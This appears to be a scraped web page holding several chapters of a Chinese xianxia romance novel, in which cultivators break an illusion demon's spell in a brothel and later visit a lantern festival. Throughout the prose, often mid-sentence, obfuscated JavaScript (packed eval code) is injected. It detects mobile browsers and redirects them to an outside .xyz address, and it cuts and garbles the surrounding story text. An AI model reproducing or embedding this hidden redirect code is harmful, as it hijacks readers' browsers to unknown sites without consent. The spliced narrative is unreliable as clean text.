“去榻上，你假装抱着我。”姜揽月在谢思量耳边道。 温热的吐息喷洒在谢思量耳廓，他又感受到了一股难言的心跳加速。 “怎么样？就演一演，迷惑一下妖怪。” 见谢思量不说话，姜揽月又问道。 “好。” 姜揽月起身，走到了床榻上。她撩开纱帐，发现床上的被褥也都是红色，还绣着鸳鸯戏水的图案，不禁令人遐想。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你怎么这么有天赋啊？我现在开始修炼，才知道提升一次境界原来这么难，你为什么那么简单？凭什么你就能像喝水那么简单？” “……”谢思量不知道该说什么，于是道：“天生的。” 姜揽月：“……” 这人说话怎么这么欠呢，于是她决定换一个话题。 “你怎么总是穿白色，下次换个颜色的衣裳怎么样？” “对了，还有之前说的发簪，等事情解决了我去帮你买，你生得这么好看，那些发簪发冠什么的肯定都很适合你。” “还有剑法，这次回去，我要开始正儿八经学剑了，你一定要记得教我。” “嗯。” …… 不知过了多久，少女的声音越来越小，直至最终消失。 感受到腰间的脱力后，谢思量眼睫轻颤，他一手搂住姜揽月的腰，另一只手不受控制地抚摸上了姜揽月的脸，像是想描摹出少女娇艳的面容。 首先是光洁的额头，接着是眼睛、鼻子。 到了耳朵处时，谢思量的手指顿了顿，他忽然想起姜揽月说的不能摸她的耳朵。 算了吧，于是少年的指尖又来到了柔软的嘴唇。 他的夫人究竟长什么样子呢？ 23. 清水镇（五） 与此同时，另一个房间中。 “宋师兄，你这笛子吹得真不错。”薛满情不自禁夸道。 泠泠乐音在耳边响起，如初春解冻的山泉撞上石子，带来潮湿的江南烟雨，仿佛天籁。 “那是自然。”宋卿尘道，“没这实力和天赋，师尊怎么可能收我当弟子。对了，你不要喊我师兄。” “那喊什么？”薛满疑惑。 “喊我宋娘子。”宋卿尘拿着玉笛道。 “啊？宋娘子？” “做戏要做足一点，不然就被妖怪看出来了。”宋卿尘一本正经。 “哦，也是。”薛满道，“那宋娘子，你累了吗？要不要休息一下？” 他给宋卿尘倒了一杯茶，宋卿尘接过茶，点点头道：“这还差不多。” “对了，问你个事情？”宋卿尘抬眼。 “什么事？” “当时谢思量收你的时候真的是用水仙花吗？我听其他弟子说的，当时那么多长老在场，他说水仙花掉在谁那谁就是他的弟子。” 薛满点头：“没错，是真的。我当时也想不到，竟然就这样成了师尊的弟子，当时感觉自己在做梦。师尊比我大不了几岁，年纪轻轻就有那么高的修为，我以为他会找和他一样有天资的，但没想到是以这种方式。不过师尊人很好的，师娘也很好。” 宋卿尘道：“有实力就是任性啊，等我以后当了长老我也要这么玩。” “对了，还有你师娘……”宋卿尘抬眼，“真的是因为报恩吗？我怎么感觉两个人感情挺好的啊。而且他这次和我们一起来，是因为你师娘吧？” 薛满挠了挠头：“这我就不知道了，不过我也感觉师尊和师娘很相爱。” 一阵风袭来，宋卿尘感觉眼前有什么东西在晃，随即眼睛一闭，昏睡在了床上。 “宋师兄，宋师兄，你这么……” 话音未落，薛满也晕倒在桌子上。 * 温馨的房间中，少女面前正放着一部平板电脑，平板上放着最近热播的电影。 平板旁还摆着一个冰淇淋，是她最喜欢的香草口味。 少女舀了一勺冰淇淋，看着电影中的角色深情告白，这是她上上辈子最喜欢的一部电影。 感受着香甜的奶油在舌尖融化，她忽然感受到有些不对劲。 怎么回事？ 她怎么会来到这个世界？ 她明明记得自己按照系统所说，捅了谢思量一刀，然后还是留在了那个世界啊？ 她现在怎么会在这？ 不对，她刚刚还和谢思量在烟柳阁中呢，怎么现在忽然出现在这里？ 少女眼眸微动，明白了，是妖，这应该就是那妖给她的幻镜。 不过，环顾自己的房间，姜揽月不由得泛起一丝苦笑，原来自己的欲念是回家啊。 她看着房间内熟悉的摆设，书架上放着各种各样的小说漫画，还摆着小时候自己最喜欢的八音盒，打开能看到一位踮着脚的小女孩在跳舞。 姜揽月按照记忆中那样打开了这个八音盒，熟悉的旋律在耳边响起，她的眼眶蓦地红了，好想回家。 角落处放着她的古琴，那是陪伴她从小长大的古琴。她走到古琴前，弹出了八音盒中的曲调。 一切都这样安逸，好想一直留在这里。 不行，这是幻镜，这不是真的，这只是妖怪做出来骗人的。姜揽月擦了擦眼角的泪，怪不得那些人死时嘴角都带着笑呢，这妖怪确实能根据人们心中的念想打造幻镜。一些心性不坚定的人，确实在幻镜中不愿醒来。 * 天已经黑了，窗外漆黑一片，电闪雷鸣，豆大的雨点砸在地上，冲刷着大地，好似要将人间的不堪全部洗刷掉。 谢思量站在玉霄殿中，静静地看着窗外的大雨和落花。 果然，在这个幻镜中，他的眼睛又能看见了。 他眨了眨眼，即使很暗，但他依旧可以看到室内的景象，已经很久没有这种感觉了。 黑暗中，他走入了一个房间。 打开房门，屋内点着蜡烛，角落里跳动着橘黄色的光芒。 一个女子坐在蜡烛旁，穿着浅蓝色的襦裙，梳着双螺髻，头上是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027136|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和裙子相同颜色的发带，手中拿着一本书。 女子听到他开门的声音，抬头道：“夫君，你回来了啊。” 她的声音清脆，带着甜腻。 然而，谢思量却感到自己在原地动弹不了。 这女子的面容和之前他在思君剑幻镜中见的一模一样。 但女子仿佛丝毫没有感受到谢思量的不对劲，她放下手中的书，撩起裙摆，向谢思量跑来，随后扑到了他的怀中。 电闪雷鸣间，谢思量注意到房屋的角落处摆放着一具尸骨，却无暇在意。 白骨苍苍，幽魂已散。 “夫君，我想吃酒酿丸子。”女子娇嗔道，“你给揽月带了吗？” 揽月，面前的女子竟然是姜揽月。 谢思量的动作明显僵了僵。 “夫君，揽月想吃。”见他不说话，女子又说了一遍，嗓音中带着委屈：“你没有给揽月带吗？” “我当然给夫人带了。”他听见自己说。 随后，他伸出手指，抚了抚女子的头顶。 烛火下，青年细长的手指苍白无比，青色的血管隐隐浮现。 “那夫君喂我好不好？揽月想要夫君喂。”女子对他道。 “嗯，好。” “我就知道夫君对我最好了，最喜欢夫君了。” 随后，他看见自己坐到了椅子上，那女子竟顺势坐到了他腿上。 浅蓝色的裙摆盖在了雪白的袍子上，微微晃动。 他一手拿着碗，一手拿着勺子，将雪白的圆子一勺一勺喂给了面前的女子。 女子吃着圆子，明显心情变好了。 她坐在谢思量怀中，抬头道：“好吃，夫君也来吃吧。” 面前的女子眼睛很大，眼角微微上挑，仿佛含着西湖烟雨，乌黑的睫毛浓密似团扇，鼻子小巧，嘴唇红润，嫣如桃李，谢思量静静凝望着，他想记住这个女子的模样。 为何又会见到这个女子？ 她真的是姜揽月吗？ 出神中，女子握住了他的手，嗓音清脆：“夫君，揽月来喂你。” 24. 清水镇（六） 温馨的房间中，如流水般的琴音自少女纤细的指尖倾泻。 姜揽月定定看着面前的古琴，猛地拿起一边的马克杯砸了上去。 顷刻间，碎片四溅，周围的景物忽然开始坍塌，幻镜应该要结束了吧。 不想，片刻后，她的眼前却又被鲜艳的红色填满。 ？这是回到了烟柳阁？ 不对，这不是烟柳阁，这里没有古琴，房间构造也不同。 房梁与墙壁上满是大红纱缎，墙边是一张妆奁和一面巨大的铜镜，周围还燃烧着许许多多的红蜡烛，劈里啪啦燃烧着芯子。 而她便坐在这个紫檀木妆奁前。 姜揽月收起打量房间的目光，抬起眸子。 一瞬间，少女瞳孔骤缩。 铜镜中的她穿着红色的嫁衣，嫁衣上是精致金色的刺绣，头上戴着金色的凤冠，凤冠上坠着一颗颗圆润的珍珠。 额间还描画着一朵牡丹花钿，小巧的耳垂上挂着水滴型的珍珠耳珰，流光溢彩，唇间也是鲜艳的红。 自己怎么会打扮成这幅模样？ 姜揽月不明白。 这不用说又是一个幻镜，怎么会又有一个幻镜？ 与人成婚，她可从来都没有这个愿望，这是谁的幻镜？还是说，是这妖故意的，把她拉入幻镜中？ 不过，猜测归猜测，姜揽月并没有轻举妄动，因这不是她自己的幻镜，可能随便动一下就会有危险。 她口中念诀，尝试着在这里凝聚起灵力，少女指尖有白光闪过，还好，在这里还能正常使用灵力。只是，还是不知道该如何出去。 她唤出太华，放在怀中抱着，随时准备奏起乐曲。 不知过了多久，“嘎吱”一声，木门被打开，夜风的呼啸声同时传来。天边的月光也洒了进来，将人影拉的很长。 姜揽月内心一紧，指尖正拨起弦，抬起眼，却在铜镜中对上了一张熟悉的脸。 是谢思量！ 面前的男人和她一样，穿着红色的喜服，袖口是金色的龙凤图案。如墨般的长发用玉冠束起，倾泻在腰间。他精致的容貌一半在烛火下，一半在阴影中，一边明一边暗，明的那边像是天上谪仙，而暗的那边却似人间修罗。 姜揽月愣住了，她没想到居然在这里能看到谢思量。 同时也松了一口气，有谢思量的地方基本上就是安全的。 “谢、谢思量，你怎么来了？” 他向来穿的都是白色，这是姜揽月第一次见他穿红色，鲜艳的红色穿在他身上，更显姿容潋滟，在他原本清冷的气质中添了一丝艳丽。 “我刚刚脱离了一个幻镜，紧接着就进入了这个幻镜，刚刚我还是一个人呢，没想到这个幻镜中居然有认识的人。”姜揽月起身，回过头道，“对了，你穿红色真好看，以后可以多穿穿红色。” “谢思量？谢思量?”姜揽月喊道。 但是面前的男人却没有回应她。 “谢思量？”她终于发现了不对劲，这里的谢思量比外面的摇光仙君多了几分阴郁的气质。 “夫人。”面前的男人忽然开口，嗓音低柔，带着□□哄。 他走上前，毫无血色的手指抚上了姜揽月的发丝。 “夫人，好久没见了，我很想你。” 姜揽月内心一惊，她直直望向向谢思量的双眼，虽然他的眼睛还是澄净如琉璃，但她知道有什么东西变了，这不是她认识的谢思量。 面前的男子准备牵起姜揽月的手，指尖相触的时候，姜揽月却不自觉的将手向后一缩。 谢思量的动作明显一顿，却依旧牵住了她的手，被掌心包裹的瞬间，姜揽月感受到一股强大的力量压制，她根本反抗不得。 随后，少年竟在她的指尖落下轻轻一吻。 姜揽月眉头紧蹙，这是在做什么？ “走吧，夫人，外面的宾客都在等着。” 他的手指轻轻抚上了姜揽月的脸，动作轻柔和缓，姜揽月却感觉是毒蛇的信子在舔舐自己的皮肤，温柔黏腻，却又带着冰凉。 “夫人，到了我们拜堂的时候了，快出去罢。” 什么？ 拜堂？ “什么拜堂？” “我们成亲多年，却没有举办过婚礼。今日，便是我们拜堂的时候。”面前的男人解释道。 姜揽月还未反应过来，谢思量便直接握住了她的手，带着她一起走了出去。 二人不是第一次牵手，但这次姜揽月却发现自己怎么也挣脱不了，她也不敢挣脱。因为在这幻镜中，她也不知道下一步会发生什么，只得这样走一步看一步，慢慢跟在谢思量身后。 走出这个房间，外面也都是红色的布置，到处都是红绸。有一瞬间，她甚至觉得这些红色全是血洒上去的，刺目非常。 与此同时，她听到了喜乐。 哪来的乐音？ 二人穿过长长的走廊，来到了大厅，大厅上坐着很多宾客。乍一看，全是黑压压的人头。 姜揽月的目光在这些宾客脸上迅速略过，经过二人时，微微睁大了眼睛，她竟然看到了薛满和宋卿尘！ 再看，是白晴雨和丽娘！ 怎么回事，难道是烟柳阁的人都来了？这个幻镜聚集了烟柳阁的所有人？ 在看到一个女子怀中抱着琵琶后，姜揽月明白了，原来如此，台下有人在演奏乐曲。 但是定睛细看，便可发现这些人面上的表情都很僵硬，虽是笑着的，却令人感觉戴上了一副笑脸面具。 人群之中，唯有薛满和宋卿尘对上了她的目光。 宋卿尘立马朝她挤眉弄眼，不知道想说什么。 但姜揽月被谢思量牵着，无法与他们二人交流。 于是少女的指尖捻起一点灵力，向宋卿尘抛过去，表明她是一个真人。 不想，身边的谢思量居然直接掷出一道剑气，将她的灵力在半路尽数吞噬。姜揽月瞠目结舌，不可置信地看向谢思量。 “夫人，怎么了？”他好像感受到姜揽月的目光。 “没、没什么。”姜揽月道。 最后，她只得向宋卿尘瞪了瞪眼珠子，不知道该说什么。 不过，好在这让她知道了幻镜中的宋卿尘还是正常的。 姜揽月定了定心。 看着台上二人皆身着喜服，大殿上满是鲜艳的红色。宋卿尘对薛满小声道：“你刚刚是这个幻镜吗？我原来在一个幻镜中，然后忽然又来到这里。” “不是。我刚刚的幻镜也只有我一个人，然后那个幻镜破了，我就以为我出来了，不想又来到了这里。” “所以，”宋卿尘环顾四周，看到了好几个烟柳阁熟悉的面孔，“这个幻镜将烟柳阁所有人都拉了进来？” “应该是。”不远处的白晴雨也走了过来。 “你也进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜揽月被他牵着，有些疑惑，她不知道为什么要拜这边。她以为他会拜昆仑宗，难道这个方向是谢思量曾经的家乡吗？ 等一下，最后就是夫妻对拜了吧？ 姜揽月连忙道：“谢思量，你醒醒，我们在幻镜中啊！！” “谢思量，你还记得烟柳阁吗？” “谢思量，谢思量，你知道我是谁吗？你知道我们在哪里吗？” 没想到，最后一个问题男人居然回答了。烛火在他的眸中跳动，为他的眼睛带来了一丝温度，只听他道：“我当然知道，我的夫人，这是我们的成亲现场。” 接着，不容姜揽月开口，铺天盖地的灵力又压在了她的脖颈之上，威压遍布了整个场地，她发觉这次自己连抬头的力气都没了。 这只幻妖能有这么强大的灵力吗？ 这到底是谁的幻镜？ “夫妻对拜。”身边的男人最后说道。 被一寸寸压得弯下腰的瞬间，姜揽月看到了自己绣鞋，绣鞋上缀着玉白色的明珠，流光溢彩，这一瞬间，被她永远地记在了心中。 紧接着，面前殿堂犹如幕布被人撕开。 哗啦！ 再眨眼，她回到了烟柳阁。 25. 清水镇（七） 烟柳阁的一间房间内，墙壁上挂满了鲜红的绸缎，角落处噼里啪啦燃烧着红烛，橘黄色的火焰在房间内跳动着。 一位白衣男子处于房间中央，烛光为他的睫毛染上一层浅金色的光。仔细看的话，可以发现他手中有一团黑影，那团影子没有实体，只有黑色的雾气，好似攀附在他的手指之上。 一道轻柔的女声在他耳边响起：“你刚刚到这里的时候就已经发现我了吧？为什么不杀我？还主动进入我制造的幻镜？” 一炷香前，这个道士便从幻镜中出来了，但是出来后却没有杀死她，反而将她困在这里。 那妖又道：“你不杀我，反而利用我进入这个幻镜，为的就是和这女子成婚吗？你一个无情道剑修，还可以成亲吗？” “还是说，你不愿在现实中成亲，就只有在幻镜中成亲了？” “好一个无情道道士，生得如此道貌岸然，内心却是此等思想，真是有趣哈哈哈哈哈哈哈哈……”幻妖知道自己既落入这道士手中，那这道士定不会放过她，于是便开始随心所欲起来，想到什么说什么。 “你的元神竟如此强大，不仅可以将他们全部拉入幻镜，居然还能另外控制一具身体，如此厉害的仙君，还有做不到的事情吗？为何不在现实中与她成亲，你不敢吗？你怕她不同意吗？” 化神期修士可将自己的元神分出身体，分为两个，三个，甚至更多都可以，谢思量现在便是这种情况。 破开幻镜后，他便抓了这妖，但是却没有杀死它。 因为他想“见见”自己的欲望到底是什么。 为何在第一个幻镜中自己能看到那样的景象？ 他早已眼盲，为什么连续两次在幻镜中见到同一个女人？ 那个女子到底是谁？ 和现在的姜揽月同为一人吗？ “为什么不直接和那位女子说？担心她不喜欢你吗哈哈哈哈？仙君也有害怕的事情吗？” 耳边的妖还在叽叽喳喳。 谢思量没理她，继续“看”这幻镜中的一切。 他知道境中的自己在做什么。 最后弯腰之刻，谢思量感觉体内血气上涌，他忽地涌出了一口血。 与此同时，他发现他的修为也掉了一层。 瞬间，幻镜便裂开了，所有的场景像幕布一样被撕开。 他另一半的元神同时也回到了自己的身体中。 “仙君，你怎地不继续了？你不敢看后面会发生什么吗？”耳边的女声继续道，“为什么不敢呢？” 就在此刻，床帐边传来窸窸窣窣的声音。 姜揽月醒了。 谢思量指尖微动，随后他手中白光闪现，将屋内照的亮如白昼，一股强大的灵力立马冲向了黑影。 “啊啊——” 黑影还未来得及尖叫，便灰飞烟灭了。 谢思量面色不变，用帕子擦了擦自己嘴边的血。 姜揽月刚刚醒来，见到的便是这一幕。 “谢、谢思量？” “你怎么吐血了？” 她眼睛一睁，就看见白光一闪，然后谢思量吐血了。 姜揽月连忙从床上爬起来，焦急道：“刚刚那个黑影是幻妖吗？” 谢思量眼睫轻颤，点了点头。 “好一个妖怪，把我们全拉入幻镜不说，居然还让你受伤。” 她立即从自己的芥子囊中拿出丹药：“这是我出门前准备的丹药，你要不要吃一粒？” 谢思量咳嗽了一声：“嗯。” “好，我来为你倒杯水。”姜揽月将茶水和丹药都递给了谢思量。 “多谢。” “我刚刚还在幻镜中，应该就是你把那幻妖除了我们才出来的。”姜揽月看着面前的谢思量道，“你还好吗？伤的严重吗？” 谢思量放下水杯，他的嘴唇还是鲜红：“我没事，不用担心我。” 姜揽月道：“唉，我们这一行人都没有医修的，不然能让医修帮你看看怎么回事。” 谢思量的嘴角轻轻勾了勾：“我说过，我没事的。” “不过幸好有你在，刚刚在那个幻镜中，我都担心出不去呢。对了，你刚刚是不是没进幻镜？所以才能在境外杀死这个妖怪？” “嗯。”谢思量的手指顿了顿：“此等妖物，定要尽快收服，不可再让它出去祸害人间。” “哦，你说的也是，这次简直多亏了你，不然我都不知道那个幻镜怎么破。” 见谢思量确实没什么事，姜揽月感觉浑身都轻松了很多，她活动了下筋骨，刚刚幻镜中被威压控制的感觉还历历在目。 谢思量修为如此之高，那妖既然能将谢思量伤成这样，就说明这幻妖实力也不容小觑，所以刚刚在境中的威压应该就是幻妖带来的。 “对了，你知道我刚刚在幻镜中见到了什么吗？” “什么？” “我刚刚进入了两个幻镜。第一个幻镜中只有我自己，第二个幻镜中有我们所有人，宋卿尘、薛满、白晴雨，还有我俩，整个人烟柳阁的人好像都在。然后，我们、我们在幻镜中成亲了。” “成亲？”这两个字从谢思量口中吐出，显得尤为诡异，因为一般人不会将他和成亲联想到一起。 “你也觉得很奇怪吧，我也没想到，这只妖居然会做出这样的幻镜。那你有经历第一个幻镜吗？” 见谢思量不说话，姜揽月忽地内心一紧：“我知道了，对不起，我不该问你这种问题。” 谢思量眼盲，在幻镜中肯定什么都看不见，哎呀，都怪她，怎么就这么多嘴。 若是这样便说得通了，谢思量没有进入幻镜，所以他能保持清醒，将幻妖杀死。 谢思量没有言语，轻轻点了点头。 “行，既然事情都解决了，我们一起出去吧。” “嗯。”姜揽月松了一口气，幸好谢思量没有被冒犯到。 走出房间，迎面便碰到宋卿尘，宋卿尘看到他们，双眼微咪，透露出只可意味不可言传的眼神。 姜揽月知道他定是想歪了，但也没有解释，因为在外人看来，她们二人的关系就是那样。她若去澄清，反而会牵扯到一些不必要的麻烦。 “你们还好吗？” 薛满和宋卿尘皆点点头。 “都出来了，没事。” 宋卿尘问道：“你们知道那妖……” 刚刚来的时候，他能感受到妖气，但如今妖气已经完全消失了。 “幻妖已经被谢思量灭了。”姜揽月道。 “行，那就好。” 薛满道：“哦，我们刚刚从幻镜中出来也是因为师尊将妖怪消灭了是吗？” “嗯。”姜揽月点头。 “原来刚刚不是师尊的幻镜啊。”薛满道，他刚刚还以为是师尊的幻镜，不然师尊怎么会在其中和师娘成亲，看来是他人几人想错了，“多谢师尊将我们从幻镜中救出。” “无事。”谢思量道。 宋卿尘却咪了咪眼，看了看一旁的谢思量，他依旧是表情淡淡的模样，仿佛什么都没有发生过。 真是不管什么时候都是这样。 宋卿尘觉得有些无趣，道：“走吧，看看其他人怎么样。” “对，赶快下去看看丽娘她们怎么样。” 几人走下楼梯，来到了前厅。 “你们总算下来了。”白晴雨看着前方几个人说道，“那只妖好像不见了，之前这里有妖气，现在妖气已经没了。” “已经被谢思量消灭了。” “已经被谢师兄消灭了啊。”白晴雨喃喃道，在第一个幻镜中，她看到了自己欲念是成为天下第一刀，然后忽然就被拉到了第二个幻镜中，她想找幻妖说说呢。 宋卿尘挑眉：“幻妖死了，你怎么一副失望的模样？你刚刚在幻镜中看到了什么？怎么有点不对劲？” “我成了天下第一刀！” “好理想，原来你的念想是这个。”宋卿尘道。 “那你呢？” “不告诉你。” 白晴雨翻了个白眼：“我都和你说了，你还不和我说，小气。” “我成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049412|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天下第一音修。” “骗人。” “各位仙君，请问情况如何？”见几人已经从房间中出来，丽娘立马走上前去询问情况。 “那妖已经被消灭了。”姜揽月道。 等等，她记得在幻镜中见到丽娘来着。 “丽娘，你可记得幻镜中发生了什么事情？” 丽娘摇头：“奴家已记不清了。” “那你呢？”宋卿尘问了站在丽娘旁的另一个女子。 那名女子也摇摇头：“回仙君，奴家也记不清了，只感觉睡了一觉，然后忽然就醒了。” 那应该是普通凡人和修仙之人的区别，姜揽月想清楚其中的缘由，道：“不记得也没事，总之妖怪现在已经被消灭了，以后这里不会再有怪事发生了。” “看来只有修仙之人才能记得。” 宋卿尘点点头，随后他拍了拍谢思量的肩：“多谢啊，摇光仙君，要不是你我们应该不会这么快就能将任务解决。” “无事，为民斩妖除魔，是修仙之人的责任。”谢思量道。 丽娘又问道：“那么仙君，你们可知为什么死去的人脸上都带着笑呢？” 姜揽月向众人解释道：“因那妖是幻妖，可以给人带来幻镜，而这个幻镜是由人们内心的欲望或是念想做出的。所以中了幻妖妖术的人死前嘴角便会挂着微笑，因为她们死前看到的都是自己想要的东西，甚至以为自己一直生活在想要的生活中，不愿醒来。” “原来如此。”丽娘道，“怪不得那两位妹妹发现时笑的那么开心，原来是这个原因。” 她叹了一口气：“唉，不知道她们都看到了什么。” 随后，丽娘向几人行礼道：“多谢各位仙君，奴家万分感恩。各位仙君如果以后还想来的话，可以多来烟柳阁瞧瞧。” 宋卿尘笑道：“当然。” “师兄，你要不要换身衣服？“姜揽月看宋卿尘笑的花枝招展的模样，打趣道，”不过你这副打扮确实不错，要不要穿着这裙子去街上走走？” 宋卿尘拿下了头上的发簪：“去大街上那就算了吧。薛满，过来帮我一下。” “好。” “我也要换衣服。”姜揽月于是道。 “我来帮你。”白晴雨说道，随即进了姜揽月的房间。 瞬间，四人就都进去换衣服了，只留下谢思量一人在大厅中。 他穿着一身白色的袍子，身形颀长，入墨的长发松松的束于脑后，一副清冷如谪仙的样子，看起来便不像另外四个仙君那样好说话，烟柳阁的姑娘们都不敢上前攀谈，纷纷散了去。 恰在这时，谢思量喊住了一位姑娘。 “仙君，有什么事情吗？”姑娘停下了脚步，有些疑惑。 谢思量拿下外袍上的一粒珍珠，递给了这位姑娘。 “刚刚那位女装公子，长得好看吗？” 那姑娘道：“你说宋公子吗？那生得自然好看。” “那……“谢思量停顿片刻，道了句：”他与我谁更好看？” 姑娘漂亮的杏眼中浮现出诧异，原来男子间也会因为此种事情攀比：“公子你也生得很好看，两位公子是不同的好看。宋公子像庭院中的花，公子你像天上的月，都是好看的。” 天上的月？可他已经很久没看过月亮了。 谢思量转身道：“好，多谢你了。” “等等，公子。”那姑娘又喊道：“我不能要你的珍珠。” 这珍珠看着便价值不菲，而她只是回答了一个无关痛痒的问题，不能收这颗珍珠。 而此时姜揽月几人也恰好换好了衣服，从房间中走出。 “谢思量，我们好了。”少女朝他道，“可以走了吗？” “嗯。”少年淡淡应道。 他向姜揽月走去，只留下一句：“你收下吧。” “啊？道长……” 望着谢思量颀长又挺拔的背影，她忽然想起丽娘说他和姜姑娘是夫妻，怪不得会问这种问题呢。 原来这样的仙君，也会因情而困扰啊。 26. 清水镇（八） 华灯初上，灯影重重。 听说清水镇有灯会，几人便在清水镇歇了两日，准备欣赏完花灯再回昆仑宗。 其中，白晴雨因为母亲有事，便在幻妖被灭那日就先行回去了。 临走前她还闷闷不乐道：“我也想看灯会，看花灯，怎么就偏偏明日有事。真是的，我看娘亲就是不想让我在凡间待着。” 见她这幅愤愤的模样，姜揽月走上前安慰道：“你如果实在是喜欢的话我给你带个花灯吧，怎么样？你喜欢什么样式的？” “你给我带花灯？”白晴雨眼睛一亮：“你说真的吗？不骗我？” 姜揽月被她逗乐了：“当然了，我为什么要骗你？你说说，你喜欢什么样式的的花灯？如果有的话就帮你买。” “嗯，让我想想……”白晴雨思索了片刻，最后道，“我想要兔子灯，圆圆的，非常可爱。” 姜揽月应道：“好，过几日晚上我帮你看看，你安心回昆仑吧。” 白晴雨嘴角笑出了一个酒窝，她抱住姜揽月道：“谢谢揽月！” 宋卿尘在一旁打趣道：“两个人这么快就亲亲抱抱了？前段日子不是还说要比试吗？” 白晴雨瞪了他一眼：“你们男人懂什么。试炼场上比试，现在这里是试炼场吗？” 她在幻镜中看到她的欲望是“天下第一刀”，根本不是谢思量师兄。 “好吧，我不懂。女孩子的心思真难猜。” “哼，还是揽月对我最好。” 白晴雨走后，按照惯例，四人先到清水镇最大的酒楼中吃了一顿。 姜揽月吸溜着碗中的蟹黄面，这已经是她吃的第六碗面了。 这次任务可把她累到了，本来奔波了几天就累，然后又去了幻镜中承受了无与伦比的精神压力，姜揽月只觉得自己快要被榨干了，吃五头牛绝不成问题。 宋卿尘和薛满双目圆睁，不可置信地看着姜揽月，师妹/师娘怎么这么能吃？！ 这吃的比他们三个大男人加起来吃的都多。 而对此，谢思量则见怪不怪，只默默喝着碗中的汤。 姜揽月察觉到那两人的目光，道：“不要看我，吃自己的，这里的蟹黄面真好吃，多吃点。” “师妹，你怎么能吃这么多？真的看不出来啊？”这是宋卿尘第一次和姜揽月一起吃饭，万万想不到她居然能吃这么多。 几人皆是修仙之人，本就口腹之欲很低不说，而且姜揽月生得那副瘦瘦的模样，居然能这么能吃？！ “我饿啊，需要补充能量，吃饱了才有力气干活啊。”姜揽月理所应当道，“你们不吃了吗？” 薛满道：“师娘，我吃饱了。” 宋卿尘也道：“我也吃饱了。” 姜揽月看了看他们面前的盘子，小声嘀咕：“怎么都跟谢思量一样，一个个胃口都这么小。” 谢思量：“……” 宋卿尘纠正：“我吃的还是比谢思量多的。” 薛满：“我也是。不过师尊境界如此之高，早已断绝了这些欲望，我们不能和师尊相比。” 姜揽月继续吸溜着碗中的面：“行行行，就我最能吃。” 从酒楼出来后，几人便来到了街市。 幻妖事件结束后，清水镇又恢复了原来的安定模样，街道上车水马龙，人来人往。到处都充满着行人的欢声笑语和小贩的叫卖声，还有孩童们的嬉闹声，空气中则充斥着食物的香气，一副热闹非凡的景象。 护城河波光粼粼，两岸食肆林立，河水中倒映着各式各样的花灯。 薛满看着一路上各式各样的灯，道：“好久没看凡间的灯会了。” “是啊，上次看灯会还是我小时候呢。”宋卿尘道，“天哪，当时还是和我祖母一起去看的呢，一晃居然已经过了这么久了。” “你们快看那个花篮灯，好漂亮！”姜揽月指着前方的一个灯道。 三人一路叽叽喳喳，完全是一副第一次参加灯会的模样，谢思量则一句话都没说。 姜揽月注意到了谢思量的沉默，问道：“谢思量，你小时见过花灯吗？” 谢思量垂了垂眉：“或许见过吧，记不清了。” “天哪，如果你眼睛好了的话一定要看，这些灯太美了。”姜揽月道。 谢思量：“你很希望我能看到？” “对啊，因为真的很美，世间一切美的事物都值得欣赏。” 听到这话，谢思量居然笑了笑，嗓音轻柔：“你果然就喜欢好看的。” 他嘴角轻扬，站在花灯之下，纤长的睫毛好似被渡上了一层金色，各式各样的灯倒映在他的眼中，为他带来了几丝鲜活的气息。这一瞬间，谢思量不似天上不食烟火的谪仙，倒像是人间的一位富贵公子。 薛满有些惊讶，师尊居然笑了，师尊平时和他在一起几乎从来没有笑过。 “那是自然，古人说‘爱美之心，人皆有之’是有道理的，因为美的事物会让人心情愉悦。”姜揽月道，“在生活中就要多看看好看的东西，这样才能保持好心情。” “对了，”她抬眸望了望谢思量，谢思量的发丝还是松松的扎于脑后，“上次说要给你买发冠和发带来着，这次我可一定记住了。” 谢思量语气温和：“我看不见，那得劳烦你帮我选了。” 见这两人讨论起这种话题，宋卿尘眉心跳了跳，转头对薛满道：“我刚刚看那里有一家雅玩阁，薛满，你陪我去看看怎么样？我想去看看那里的古琴。” “啊？古琴吗？”薛满道，“我不懂乐器啊？要不让师娘陪你？师娘是音修，懂得比我多。” 宋卿尘就差翻了个白眼，他推了推薛满：“你没看你师娘忙着呢，快陪我去。我看那旁边还是个剑阁，你正好能去看看剑。” “好吧。” 看着两人渐行渐远的背影，姜揽月内心默然，她知道宋卿尘为什么要把薛满喊走。 虽然不是他内心想的那样，但这样也好，身边只有谢思量一个人了，也不用装甜甜蜜蜜夫妻了。 “谢思量，他们俩走了。”姜揽月道。 “嗯，我知道。”谢思量淡淡道。 二人继续向前，来到了市坊中心，这里是清水镇的中心区域，里里外外全是人。 